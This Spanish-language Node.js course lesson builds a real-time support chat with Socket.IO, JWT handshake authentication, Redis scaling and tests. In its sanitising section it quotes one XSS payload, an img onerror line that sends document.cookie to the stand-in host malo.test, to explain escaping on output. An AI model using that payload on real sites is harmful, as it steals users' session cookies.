En el cierre del Módulo 11 quedó dicho: dejamos de construir una sola aplicación para construir cuatro completas. Y conviene aclarar de entrada que no son cuatro dominios inventados ni cuatro ejercicios sueltos: son productos satélite de Escena Viva, la plataforma de venta de entradas que llevas construyendo desde el Módulo 1. El hilo conductor no se rompe, se ramifica.
Este primer proyecto es el soporte en directo de Escena Viva. Lucía compra dos entradas para el evt-003 (Festival de Jazz de Primavera), no le llega el correo con los códigos EV-2026-000417 y EV-2026-000418, y en vez de escribir un correo que se responderá en dos días abre un chat desde la web. Al otro lado, un agente ve la conversación entrar en una cola y la atiende.
La idea genuinamente nueva es la comunicación bidireccional en tiempo real. Todo lo anterior sigue un patrón: el cliente pregunta, el servidor responde. Aquí, por primera vez, el servidor necesita hablar sin que nadie le haya preguntado.
Contenido
- El requisito de negocio y por qué HTTP no basta
- Decisiones de diseño: sondeo, sondeo largo, SSE y WebSocket
- Qué añade Socket.IO y qué cuesta
- Integración con la aplicación existente
- Autenticar el socket en el handshake
- El contrato de eventos del dominio
- Salas: conversaciones y grupo de agentes
- Persistencia del historial y carga por cursor
- El reto técnico: escalar el tiempo real a varios procesos
- Presencia, validación y límite de frecuencia
- Pruebas y qué queda fuera
- El requisito de negocio y por qué HTTP no basta
- Un asistente autenticado abre una conversación desde cualquier página, y queda en una cola visible para los agentes conectados.
- Un agente la toma; a partir de ahí tiene exactamente un agente asignado.
- Ambos ven los mensajes del otro al instante, sin recargar, y cuándo el otro escribe.
- El historial se conserva: si Lucía vuelve mañana, ve lo que se dijo.
Todo eso es un CRUD normal salvo el punto tercero. Con el servidor node:http del M4 y el Express 5 del M6, el servidor solo puede hablar cuando le preguntan. Si el agente responde, no hay nada en el modelo petición-respuesta que lleve ese mensaje al navegador de Lucía por iniciativa del servidor.
- Decisiones de diseño: sondeo, sondeo largo, SSE y WebSocket
| Técnica | Cómo funciona | Latencia | Coste servidor | Bidireccional | Cuándo elegirla |
|---|---|---|---|---|---|
| Sondeo | El cliente pide cada N segundos | N/2 de media | Alto: peticiones vacías | No | Datos que cambian cada minutos, pocos clientes |
| Sondeo largo | El servidor retiene la respuesta hasta que hay novedad | Casi inmediata | Medio | No | Respaldo si WebSocket está bloqueado |
SSE (text/event-stream) |
Conexión HTTP abierta por la que el servidor escribe eventos | Inmediata | Bajo | No: solo servidor → cliente | Notificaciones, marcadores, progreso |
| WebSocket | Actualización del protocolo a un canal TCP full-dúplex | Inmediata | Bajo | Sí | Chat, colaboración, juegos |
Descartes razonados. El sondeo: con 300 asistentes y sondeo cada 2 s son 150 peticiones por segundo, casi todas devolviendo vacío; peor latencia y más gasto. El sondeo largo funciona —de hecho es el respaldo interno de Socket.IO— pero elegirlo como mecanismo principal obliga a reimplementar reconexión, orden y agrupamiento a mano. SSE es la opción que más gente descarta demasiado rápido, y es excelente: si el requisito fuera solo "el asistente ve las respuestas en vivo", ganaría, porque es HTTP estándar, atraviesa proxies, se reconecta solo con Last-Event-ID y no necesita librería; pero aquí el asistente también escribe, y con SSE tendríamos dos canales (SSE para bajar, POST para subir), dos rutas de autenticación y dos de error. La asimetría no compensa. WebSocket gana porque el dominio es simétrico: ambos extremos emiten y reciben con la misma frecuencia y urgencia.
- Qué añade Socket.IO y qué cuesta
| Necesidad | WebSocket puro | Socket.IO |
|---|---|---|
| Reconexión al perder la red | La escribes tú | Incluida y configurable |
| Enviar a un subconjunto de clientes | Estructura de datos propia | Salas (socket.join) |
| Saber si el otro recibió el mensaje | Protocolo propio | Confirmaciones (callback de emit) |
Redes que bloquean el Upgrade |
Falla | Respaldo a sondeo largo |
| Separar dominios en un puerto | Rutas propias | Espacios de nombres (/soporte) |
El coste, sin adornos: Socket.IO no es WebSocket estándar, su protocolo va por encima. Un cliente que abra new WebSocket('wss://...') no entenderá nada: el cliente debe ser socket.io-client. Si mañana el requisito fuera "que un sistema externo se conecte a nuestro canal", esa decisión pasa factura. Aquí ambos extremos son nuestro front-end, así que el coste es asumible y la ganancia enorme.
ioredis ya está desde el M10; el adaptador lo reutiliza.
- Integración con la aplicación existente
Aquí se cobra una decisión de hace seis módulos. En el M6 insististe en que src/app.js exporta crearAplicacion() y nunca llama a listen; el listen vive en src/servidor.js, que crea el http.Server a mano. Esa separación es exactamente lo que permite montar Socket.IO ahora: no se monta sobre una aplicación Express, se monta sobre un servidor HTTP.
// src/servidor.js — se amplía, no se reescribe
const http = require('node:http');
const { crearAplicacion } = require('./app.js');
const { configuracion } = require('./config/index.js');
const { montarTiempoReal } = require('./tiempo-real/servidor-sockets.js');
async function arrancarServidor() {
const servidorHttp = http.createServer(crearAplicacion());
// El mismo servidor HTTP sirve la API REST y el canal de tiempo real.
const io = await montarTiempoReal(servidorHttp);
servidorHttp.listen(configuracion.puerto);
// Apagado ordenado (M11): primero los sockets, luego el HTTP.
// Al revés dejaríamos conexiones colgando sin avisar al cliente.
const apagar = async () => {
await io.close();
servidorHttp.close(() => process.exit(0));
};
process.on('SIGTERM', apagar);
return { servidorHttp, io };
}
module.exports = { arrancarServidor };Un solo puerto: la API en /api/v1/... y el tiempo real en /socket.io/ conviven, sin tocar el balanceador ni el docker compose del M11. El SIGINT se registra igual que el SIGTERM.
- Autenticar el socket en el handshake
Reutilizamos verificarAcceso de src/servicios/tokens.js (M8) tal cual: no hay una autenticación "de sockets", hay la misma identidad verificada en otro punto.
// src/tiempo-real/autenticacion-socket.js
const { verificarAcceso } = require('../servicios/tokens.js');
// Middleware de Socket.IO: corre una vez, en el handshake,
// antes de que el socket pueda emitir nada.
function autenticarSocket(socket, siguiente) {
const token = socket.handshake.auth?.token;
if (!token) return siguiente(new Error('CREDENCIALES_AUSENTES'));
try {
const carga = verificarAcceso(token);
// La identidad queda en el socket y estará disponible en cada evento.
socket.datosUsuario = { usuarioId: carga.sub, rol: carga.rol, nombre: carga.nombre };
return siguiente();
} catch { return siguiente(new Error('CREDENCIALES_INVALIDAS')); }
}
module.exports = { autenticarSocket };Por qué el token de acceso y no la cookie de refresco. La cookie viajaría también en el handshake si el origen coincide, pero apoyarse en ella es mala idea: no debe usarse para autorizar operaciones sino solo para emitir accesos nuevos; en despliegues con dominios distintos no viaja sin relajar SameSite; y handshake.auth es explícito, el cliente decide qué credencial entrega. El problema que se descubre en producción: el acceso caduca a los 15 minutos y el socket vive horas. La conexión no se cae sola. La solución sana es revalidar dentro del propio socket con un setInterval de un minuto que verifique el token guardado y, si falla, emita sesion:caducada y desconecte. El cliente renueva por REST con su cookie de refresco y reconecta. Dejar el socket vivo para siempre equivale a que revocar a un usuario no tenga efecto hasta que cierre el navegador.
- El contrato de eventos del dominio
Un nombre de evento es un contrato tan serio como una ruta REST. Nadie renombraría POST /api/v1/pedidos a la ligera; renombrar mensaje:enviar rompe igual, con el agravante de que no hay 404: el cliente emite al vacío y nadie se entera. Por eso los eventos se documentan, se versionan con el espacio de nombres (/soporte/v1) y se centralizan.
// src/tiempo-real/eventos.js
// Contrato público del canal. Cambiar un nombre aquí es incompatible.
const EVENTOS = {
// Cliente → servidor
CONVERSACION_ABRIR: 'conversacion:abrir', CONVERSACION_CERRAR: 'conversacion:cerrar',
MENSAJE_ENVIAR: 'mensaje:enviar', AGENTE_ESCRIBIENDO: 'agente:escribiendo',
HISTORIAL_CARGAR: 'historial:cargar',
// Servidor → cliente
MENSAJE_RECIBIDO: 'mensaje:recibido', CONVERSACION_ASIGNADA: 'conversacion:asignada',
COLA_ACTUALIZADA: 'cola:actualizada',
};
module.exports = { EVENTOS };Las confirmaciones convierten esto en algo fiable: el último argumento de emit puede ser una función que el receptor invoca.
// Cliente: envía y espera confirmación con tiempo límite.
socket.timeout(5000).emit('mensaje:enviar',
{ conversacionId, texto, idClienteMensaje: crypto.randomUUID() },
(errorTiempo, respuesta) => errorTiempo
? reintentar(idClienteMensaje)
: marcarEntregado(idClienteMensaje, respuesta.mensajeId));El idClienteMensaje es la clave del reintento seguro: es la idempotencia del Idempotency-Key del M10 aplicada a un socket. Si el cliente reintenta porque no llegó la confirmación, el servidor reconoce el identificador y devuelve el mensaje ya guardado en vez de duplicarlo.
- Salas: conversaciones y grupo de agentes
Una sala es solo una etiqueta sobre un conjunto de sockets. Usamos tres familias:
| Sala | Quién entra | Para qué |
|---|---|---|
conversacion:<id> |
El asistente dueño y el agente asignado | Mensajes y "escribiendo" |
agentes |
Sockets con rol organizador o administrador | Cola de conversaciones sin atender |
usuario:<id> |
Todos los sockets de un mismo usuario | Avisos personales (varias pestañas) |
// src/tiempo-real/manejadores/conversacion.js
const { EVENTOS } = require('../eventos.js');
const { esquemaAbrirConversacion, esquemaMensaje } = require('../esquemas.js');
function registrarManejadoresConversacion({ io, socket, repositorioChat }) {
const { usuarioId, rol, nombre } = socket.datosUsuario;
socket.join(`usuario:${usuarioId}`);
if (rol === 'organizador' || rol === 'administrador') socket.join('agentes');
socket.on(EVENTOS.CONVERSACION_ABRIR, async (datos, confirmar) => {
const analisis = esquemaAbrirConversacion.safeParse(datos);
if (!analisis.success) return confirmar({ error: { codigo: 'DATOS_INVALIDOS', estado: 400 } });
const conversacion = await repositorioChat.crearConversacion({
asistenteId: usuarioId, asistenteNombre: nombre, ...analisis.data,
estado: 'en_cola', creadaEn: new Date().toISOString() });
socket.join(`conversacion:${conversacion.id}`);
io.to('agentes').emit(EVENTOS.COLA_ACTUALIZADA, { conversacion });
return confirmar({ conversacion });
});
socket.on(EVENTOS.MENSAJE_ENVIAR, async (datos, confirmar) => {
const analisis = esquemaMensaje.safeParse(datos);
if (!analisis.success) return confirmar({ error: { codigo: 'DATOS_INVALIDOS', estado: 400 } });
const { conversacionId, texto, idClienteMensaje } = analisis.data;
// Autorización: el socket debe estar en la sala. Es la versión en tiempo
// real de la referencia directa insegura del M8. Comprobar socket.rooms
// es barato y correcto porque entrar en la sala solo lo concede el servidor.
if (!socket.rooms.has(`conversacion:${conversacionId}`)) {
return confirmar({ error: { codigo: 'ACCESO_DENEGADO', estado: 403 } });
}
const mensaje = await repositorioChat.guardarMensaje({
conversacionId, autorId: usuarioId, autorNombre: nombre, autorRol: rol,
texto, idClienteMensaje, enviadoEn: new Date().toISOString() });
io.to(`conversacion:${conversacionId}`).emit(EVENTOS.MENSAJE_RECIBIDO, mensaje);
return confirmar({ mensajeId: mensaje.id });
});
}
module.exports = { registrarManejadoresConversacion };
- Persistencia del historial y carga por cursor
El historial vive en MongoDB (M7), con el patrón repositorio y sin filtrar Mongoose fuera de src/repositorios/.
// src/repositorios/chat-mongo.js — extracto
// La consulta siempre es "esta conversación, por fecha".
esquemaMensaje.index({ conversacionId: 1, enviadoEn: -1 });
// Índice único: bloquea el duplicado del reintento del punto 6.
esquemaMensaje.index({ conversacionId: 1, idClienteMensaje: 1 }, { unique: true });
async function cargarHistorial({ conversacionId, cursor, limite = 30 }) {
const filtro = { conversacionId };
// Paginación por cursor del M10: nada de skip, que degrada con el volumen.
if (cursor) filtro.enviadoEn = { $lt: new Date(cursor) };
const docs = await ModeloMensaje.find(filtro).sort({ enviadoEn: -1 }).limit(limite + 1).lean();
const hayMas = docs.length > limite;
const pagina = hayMas ? docs.slice(0, limite) : docs;
return { mensajes: pagina.reverse().map(aDominio),
cursorSiguiente: hayMas ? pagina[0].enviadoEn.toISOString() : null };
}Al abrir se cargan los 30 últimos; al desplazarse hacia arriba, el cliente emite historial:cargar con cursorSiguiente. Es la paginación del M10 aplicada hacia el pasado.
- El reto técnico: escalar el tiempo real a varios procesos
En el M10 arrancaste con cluster, y en el M11 con PM2 y varias réplicas en Docker. Con una API REST sin estado eso no cambia nada. Con sockets sí importa, y de la peor manera: Lucía se conecta y el balanceador la manda al proceso A, donde vive su socket; Marc, el agente, cae en el proceso B y responde, así que B ejecuta io.to('conversacion:42').emit(...); pero B solo conoce sus sockets y en su tabla esa sala contiene únicamente a Marc. El mensaje se guarda en MongoDB y Lucía no ve nada hasta recargar. Es el bug más desconcertante posible: "funciona en local, funciona a veces en producción".
La causa es que el registro de sockets y salas es memoria local del proceso. La solución es el adaptador de Redis: cada emisión se publica en un bus compartido y cada proceso reparte a los suyos.
flowchart LR
subgraph PA["Proceso A"]
L["socket de Lucia"]
end
subgraph PB["Proceso B"]
M["socket de Marc"]
end
R[("Redis pub/sub")]
M -->|"emit a conversacion:42"| PB
PB -->|"PUBLISH"| R
R -->|"SUBSCRIBE"| PA
PA -->|"entrega local"| L
// src/tiempo-real/servidor-sockets.js
const { Server } = require('socket.io');
const { createAdapter } = require('@socket.io/redis-adapter');
const Redis = require('ioredis');
const { autenticarSocket } = require('./autenticacion-socket.js');
const { registrarManejadoresConversacion } = require('./manejadores/conversacion.js');
async function montarTiempoReal(servidorHttp) {
const io = new Server(servidorHttp, {
cors: { origin: configuracion.origenesPermitidos, credentials: true },
maxHttpBufferSize: 100_000, // el defecto (1 MB) es absurdo para chat
pingInterval: 25_000, pingTimeout: 20_000 });
// Dos conexiones: en Redis un cliente suscrito no puede ejecutar
// otros comandos, y el adaptador necesita publicar y suscribir.
const publicador = new Redis(configuracion.redis.url);
io.adapter(createAdapter(publicador, publicador.duplicate()));
const soporte = io.of('/soporte/v1');
soporte.use(autenticarSocket);
const repositorioChat = crearRepositorioChat();
soporte.on('connection', (socket) =>
registrarManejadoresConversacion({ io: soporte, socket, repositorioChat }));
return io;
}
module.exports = { montarTiempoReal };Con esto, io.to(...) funciona igual con un proceso que con doce. Dos advertencias: el adaptador no persiste (si Lucía está desconectada, no recibe nada; por eso MongoDB es la fuente de verdad y el socket solo el canal rápido), y con respaldo de sondeo largo activo hacen falta sesiones pegajosas, porque las peticiones de un mismo cliente deben caer en el mismo proceso. Si fijas transports: ['websocket'], no hace falta.
- Presencia, validación y límite de frecuencia
Presencia. "Está en línea" parece un booleano y no lo es: un portátil que se cierra no avisa (el servidor se entera al fallar el latido, hasta 20 s después) y cerrar una pestaña de tres no significa irse. La regla: un contador de sockets por usuario en Redis.
async function marcarConectado({ redis, io, usuarioId }) {
const total = await redis.incr(`presencia:${usuarioId}`);
// Red de seguridad: si el proceso muere nunca hará el decr,
// y sin caducidad el contador quedaría inflado para siempre.
await redis.expire(`presencia:${usuarioId}`, 120);
if (total === 1) io.emit('presencia:cambiada', { usuarioId, enLinea: true });
}
async function marcarDesconectado({ redis, io, usuarioId }) {
if ((await redis.decr(`presencia:${usuarioId}`)) > 0) return;
await redis.del(`presencia:${usuarioId}`);
io.emit('presencia:cambiada', { usuarioId, enLinea: false });
}Validación. req.datosValidados es un middleware de Express y los eventos de socket no pasan por Express: hay que validar en cada manejador con los mismos esquemas zod del M6.
// src/tiempo-real/esquemas.js
const esquemaMensaje = z.object({
conversacionId: z.string().uuid(),
texto: z.string().trim().min(1).max(2000),
idClienteMensaje: z.string().uuid(),
});
const esquemaAbrirConversacion = z.object({
asunto: z.string().trim().min(3).max(120),
eventoId: z.string().regex(/^evt-\d{3}$/).optional(), // 'evt-003'
});
module.exports = { esquemaMensaje, esquemaAbrirConversacion };Saneado. El XSS entra por el chat: si un asistente escribe <img src=x onerror="fetch('//malo.test?c='+document.cookie)"> y el panel del agente lo pinta con innerHTML, el atacante ejecuta código en la sesión de un organizador. La regla del M8 sigue vigente: escapar al mostrar. El servidor guarda el texto tal cual y el cliente usa textContent. Si el producto exige negrita y enlaces, se sanea en el servidor con lista blanca, como en el magazine del 12-03. Y el límite de frecuencia: express-rate-limit tampoco actúa aquí, así que un contador en el propio socket basta —guarda las marcas de tiempo de los últimos 10 segundos y rechaza si ya hay 10.
- Pruebas y qué queda fuera
Aquí hace falta un servidor real escuchando, porque el protocolo necesita un puerto. El patrón: levantar en el puerto 0, conectar clientes reales y cerrarlo todo en el afterEach.
// test/tiempo-real/chat.test.js
describe('soporte en directo', () => {
let servidor; let sockets; let url;
beforeEach(async () => {
servidor = http.createServer(crearAplicacion());
sockets = await montarTiempoReal(servidor);
await new Promise((listo) => servidor.listen(0, listo)); // puerto 0: uno libre
url = `http://localhost:${servidor.address().port}/soporte/v1`;
});
afterEach(async () => { await sockets.close(); servidor.close(); });
const conectar = (rol, usuarioId) => clienteIo(url, { transports: ['websocket'],
auth: { token: firmarTokenDePrueba({ sub: usuarioId, rol, nombre: usuarioId }) } });
it('rechaza la conexion sin token', (fin) => {
const cliente = clienteIo(url, { transports: ['websocket'] });
cliente.on('connect_error', (error) => {
expect(error.message).to.equal('CREDENCIALES_AUSENTES');
cliente.close(); fin();
});
});
it('no entrega la conversacion a un tercero ajeno a la sala', (fin) => {
const lucia = conectar('asistente', 'usr-lucia');
const intruso = conectar('asistente', 'usr-intruso');
intruso.on('mensaje:recibido', () => fin(new Error('fuga entre salas')));
lucia.emit('conversacion:abrir', { asunto: 'No recibo mis entradas' }, (r) =>
lucia.emit('mensaje:enviar', { conversacionId: r.conversacion.id, texto: 'Hola',
idClienteMensaje: '11111111-1111-4111-8111-111111111111',
}, () => setTimeout(() => { lucia.close(); intruso.close(); fin(); }, 200)));
});
});No pruebes que Socket.IO entrega mensajes: eso lo prueban ellos. Prueba tu lógica: el rechazo sin token, el aislamiento de salas, la idempotencia del idClienteMensaje y que nadie emite a una conversación en la que no está.
| Fuera del alcance | Por qué | Cómo se ampliaría |
|---|---|---|
| Adjuntos | Duplica el trabajo de subida del 12-03 | Subir por REST y enviar por socket la URL firmada |
| Cifrado extremo a extremo | Incompatible con moderación y auditoría | Solo si el negocio acepta no leer las conversaciones |
| Transcripciones por correo | Es trabajo de cola, no tiempo real | Trabajo BullMQ (M10) al cerrar la conversación |
| Chatbot de primera línea | Es otro dominio entero | Base de conocimiento antes de encolar al agente |
Errores Comunes y Consejos
- Emitir desde un controlador REST sin acceso a
io. No lo importes como singleton global: inyéctalo como dependencia (crearControladorPedidos({ repositorio, notificador })), igual que en el M6. Se prueba con Sinon y no acopla capas. - Olvidar el adaptador de Redis hasta producción. En local con un proceso todo funciona. Añádelo desde el primer día.
- Confiar en el
usuarioIdque envía el cliente. La identidad está ensocket.datosUsuario, puesta por el handshake verificado. - No poner
maxHttpBufferSize(un mensaje de 5 MB tumbaría la memoria) ni recrear conexiones de Redis por socket: dos para todo el proceso, creadas una vez. - Consejo: registra con pino (M11) cada evento con
usuarioIdyconversacionId. Un canal en tiempo real sin registros es imposible de depurar.
Ejercicios
-
Cola de agentes con reparto. Implementa
conversacion:tomar: solo un agente puede tomar una conversación en cola; si dos lo intentan a la vez, el segundo recibe{ error: { codigo: 'CONFLICTO_DE_ESTADO', estado: 409 } }. Emite a la salaagentespara que desaparezca de la cola de los demás. -
Indicador de escritura con caducidad. Implementa
agente:escribiendode modo que el indicador se apague solo si no llegan eventos en 3 segundos, sin emitir uno por cada tecla. -
Prueba del reintento idempotente. Envía dos veces el mismo
idClienteMensajey verifica que el historial contiene un único mensaje y que la segunda confirmación devuelve el mismomensajeId.
Soluciones
1. Cola de agentes con reparto
socket.on('conversacion:tomar', async (datos, confirmar) => {
const { rol, usuarioId, nombre } = socket.datosUsuario;
if (rol !== 'organizador' && rol !== 'administrador') {
return confirmar({ error: { codigo: 'ACCESO_DENEGADO', estado: 403 } });
}
// Actualización condicional atómica: solo cambia si sigue en cola.
// Misma idea del bloqueo del M7: la condición viaja en la consulta.
const conversacion = await repositorioChat.asignarSiEnCola({
conversacionId: datos.conversacionId, agenteId: usuarioId, agenteNombre: nombre });
if (!conversacion) return confirmar({ error: { codigo: 'CONFLICTO_DE_ESTADO', estado: 409,
mensaje: 'La conversacion ya fue tomada por otro agente' } });
socket.join(`conversacion:${conversacion.id}`);
io.to('agentes').emit('cola:actualizada', { conversacionId: conversacion.id, retirada: true });
io.to(`conversacion:${conversacion.id}`).emit('conversacion:asignada', conversacion);
return confirmar({ conversacion });
});El repositorio usa findOneAndUpdate({ _id, estado: 'en_cola' }, { $set: { estado: 'atendida', agenteId } }, { new: true }): si otro agente llegó antes, el filtro no encaja y devuelve null. Sin transacciones y sin condiciones de carrera.
2. Indicador de escritura con caducidad
// Servidor: reenvía a la sala menos al emisor, con marca de caducidad.
socket.on('agente:escribiendo', ({ conversacionId }) => {
if (!socket.rooms.has(`conversacion:${conversacionId}`)) return;
// socket.to (no io.to) excluye al emisor, que es lo que queremos aquí.
socket.to(`conversacion:${conversacionId}`).emit('agente:escribiendo',
{ usuarioId: socket.datosUsuario.usuarioId, hasta: Date.now() + 3000 });
});
// Cliente: limita a una emisión cada 2 s y apaga por temporizador.
socket.on('agente:escribiendo', ({ usuarioId, hasta }) => {
mostrarIndicador(usuarioId);
clearTimeout(temporizadores[usuarioId]);
temporizadores[usuarioId] = setTimeout(() => ocultarIndicador(usuarioId), hasta - Date.now());
});En el emisor, el input no emite en cada tecla: guarda la marca de la última emisión y solo vuelve a emitir pasados 2 segundos. Así el tráfico es constante aunque se escriba muy rápido.
3. Prueba del reintento idempotente
it('no duplica el mensaje si el cliente reintenta', async () => {
const lucia = conectar('asistente', 'usr-lucia');
const { conversacion } = await emitirConEspera(lucia, 'conversacion:abrir',
{ asunto: 'Duda con evt-001' });
const carga = { conversacionId: conversacion.id, texto: 'Hola',
idClienteMensaje: '22222222-2222-4222-8222-222222222222' };
const primera = await emitirConEspera(lucia, 'mensaje:enviar', carga);
const segunda = await emitirConEspera(lucia, 'mensaje:enviar', carga);
expect(segunda.mensajeId).to.equal(primera.mensajeId);
const { mensajes } = await emitirConEspera(lucia, 'historial:cargar',
{ conversacionId: conversacion.id });
expect(mensajes).to.have.lengthOf(1);
lucia.close();
});En el repositorio, guardarMensaje captura el error de clave duplicada (error.code === 11000) del índice único del punto 8 y devuelve el documento existente. La idempotencia se apoya en la base de datos, no en memoria: así funciona también con varios procesos.
Conclusión
Has construido el soporte en directo de Escena Viva y, con él, lo único que faltaba en tu modelo mental del servidor: que puede hablar primero. Elegiste WebSocket sobre SSE porque el dominio es simétrico, aceptaste el coste de Socket.IO a cambio de reconexión, salas y confirmaciones, y montaste el canal sobre el mismo http.Server que ya tenías gracias a una decisión del M6 que hoy ha cobrado sentido.
El reto no era abrir un socket: era descubrir que el tiempo real y el escalado horizontal se llevan mal por naturaleza, entender por qué el mensaje se pierde entre procesos y resolverlo con el adaptador de Redis. Ese patrón —estado local que deja de ser válido en cuanto hay más de un proceso— reaparecerá cada vez que escales algo.
En la próxima lección montamos la tienda de merchandising de Escena Viva, donde aparece el elemento que cambia todas las reglas de ingeniería: el dinero de verdad, con pasarela de pago, webhooks firmados y una máquina de estados que no admite errores.
Curso de Node.js: De Principiante a Avanzado
Módulo 1: Introducción a Node.js
- ¿Qué es Node.js?
- Instalación y Configuración del Entorno
- Tu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Moderno para Node.js
- El Proyecto del Curso: la Plataforma Escena Viva
Módulo 2: Conceptos Básicos
- Arquitectura de Node.js
- El Bucle de Eventos (Event Loop)
- Callbacks y Programación Asíncrona
- Promesas y async/await
- Eventos y EventEmitter
- Módulos CommonJS y require()
- Módulos ES e Interoperabilidad
Módulo 3: Sistema de Archivos y E/S
- Lectura y Escritura de Archivos
- El Módulo fs a Fondo
- Rutas Multiplataforma con el Módulo path
- Trabajando con Streams
- Streams de Transformación y pipeline
- Buffers y Datos Binarios
Módulo 4: HTTP y Servidores Web
- Creando un Servidor HTTP Simple
- Manejo de Solicitudes y Respuestas
- Enrutamiento Manual
- Sirviendo Archivos Estáticos
- Recibiendo Datos: Cuerpos de Petición y JSON
- Consumiendo APIs Externas desde Node.js
Módulo 5: NPM y Gestión de Paquetes
- Introducción a NPM y package.json
- Instalación y Uso de Paquetes
- Versionado Semántico y package-lock
- Scripts de npm y Automatización del Proyecto
- Creación y Publicación de Paquetes
- Seguridad y Mantenimiento de Dependencias
Módulo 6: Framework Express.js
- Introducción a Express.js
- Configuración de una Aplicación Express
- Enrutamiento en Express
- Middleware
- Middleware de Terceros Esenciales
- Validación de Datos de Entrada
- Manejo de Errores
Módulo 7: Bases de Datos y ORMs
- Introducción a las Bases de Datos
- Usando MongoDB con Mongoose
- Operaciones CRUD
- Relaciones, Poblado y Consultas Avanzadas
- Usando Bases de Datos SQL con Sequelize
- Migraciones, Transacciones y Datos de Prueba
Módulo 8: Autenticación y Autorización
- Introducción a la Autenticación
- Registro de Usuarios y Hash de Contraseñas
- Sesiones y Cookies con Passport.js
- Autenticación con JWT
- Control de Acceso Basado en Roles
- Buenas Prácticas de Seguridad en APIs
Módulo 9: Pruebas y Depuración
- Introducción a las Pruebas
- Pruebas Unitarias con Mocha y Chai
- Dobles de Prueba con Sinon
- Pruebas de Integración
- Cobertura y Automatización de las Pruebas
- Depuración de Aplicaciones Node.js
Módulo 10: Temas Avanzados
- El Módulo Cluster
- Hilos de Trabajo (Worker Threads)
- Caché y Colas de Trabajo con Redis
- Optimización del Rendimiento
- Construcción de APIs RESTful
- GraphQL con Node.js
Módulo 11: Despliegue y DevOps
- Configuración y Variables de Entorno
- Registro y Monitorización en Producción
- Usando PM2 para la Gestión de Procesos
- Empaquetado con Docker
- Desplegando en Heroku y Otras PaaS
- Integración y Despliegue Continuos
